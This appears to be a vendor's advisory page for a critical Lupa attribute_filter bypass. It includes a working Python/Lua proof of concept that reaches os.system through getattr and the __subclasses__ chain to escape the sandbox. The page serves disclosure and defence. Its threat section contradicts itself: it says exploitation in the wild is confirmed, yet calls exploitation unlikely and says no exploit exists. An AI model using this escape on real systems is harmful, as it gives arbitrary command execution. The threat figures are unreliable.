Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

PYSEC-2026-2613

CriticalCVSS 10 / 10
Published Jul 13, 2026·Last modified Jul 13, 2026
Affected Components(0)

No affected components available

Description

Summary

The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.

However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

Details

The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.

In practice, it only applies to direct attribute access:

  • obj.attr → filtered
  • getattr(obj, "attr") → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.

An attacker can use getattr to-

  • Access __class__
  • Walk the __mro__ chain
  • Call __subclasses__()
  • Iterate over available classes
  • Find a function that exposes __globals__
  • Retrieve something like os.system

At that point, arbitrary command execution becomes straightforward.

This effectively breaks the security boundary that attribute_filter is expected to enforce.

PoC

The following example shows how the filter can be bypassed to execute os.system:'

import lupa
from lupa import LuaRuntime

def protected_attribute_filter(obj, attr_name, is_setting):
    if isinstance(attr_name, str) and attr_name.startswith('_'):
        raise AttributeError(f"Access to '{attr_name}' is forbidden")
    return attr_name

lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)

class UserProfile:
    def __init__(self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")

local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
    end
end
""")

Impact

An attacker who can execute Lua code can:

  • Bypass the attribute_filter
  • Access Python internals
  • Traverse the object graph
  • Reach execution primitives

This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.

Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.61%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard